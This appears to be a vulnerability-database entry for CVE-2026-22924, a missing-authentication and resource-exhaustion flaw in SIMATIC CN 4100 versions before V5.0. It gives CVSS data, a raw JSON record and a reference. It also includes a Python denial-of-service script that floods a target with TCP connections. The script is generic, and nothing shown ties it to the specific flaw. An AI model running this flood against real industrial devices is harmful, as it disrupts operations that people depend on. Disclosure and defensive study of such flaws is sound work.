Security Vulnerability Report
中文
CVE-2026-22924 CVSS 9.1 CRITICAL

CVE-2026-22924

Published: 2026-05-12 10:16:44
Last Modified: 2026-05-12 10:16:44

Description

A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SIMATIC CN 4100 < V5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # Proof of Concept for Resource Exhaustion (DoS) # Target: SIMATIC CN 4100 < V5.0 # Note: This code is for educational/testing purposes only. def dos_attack(target_ip, target_port, duration): """ Simulates a resource exhaustion attack by creating multiple connections. """ timeout = time.time() + duration sockets = [] print(f"[*] Starting attack on {target_ip}:{target_port} for {duration} seconds...") while time.time() < timeout: try: # Create a new socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) # Non-blocking mode try: s.connect((target_ip, target_port)) except BlockingIOError: pass # Connection is in progress sockets.append(s) print(f"[*] Connections active: {len(sockets)}") except Exception as e: print(f"[!] Error creating socket: {e}") # Clean up some sockets if resource limit reached locally if len(sockets) > 1000: for s in sockets[:500]: s.close() sockets = sockets[500:] # Cleanup print("[*] Attack finished. Closing sockets...") for s in sockets: s.close() print("[*] Done.") if __name__ == "__main__": # Replace with actual target IP and Port for testing TARGET_IP = "192.168.1.100" TARGET_PORT = 80 DURATION_SECONDS = 60 # dos_attack(TARGET_IP, TARGET_PORT, DURATION_SECONDS)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22924", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:43.917", "lastModified": "2026-05-12T10:16:43.917", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SIMATIC CN 4100 (All versions < V5.0). The affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions.\r\nThis could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "source": "[email protected]"}]}}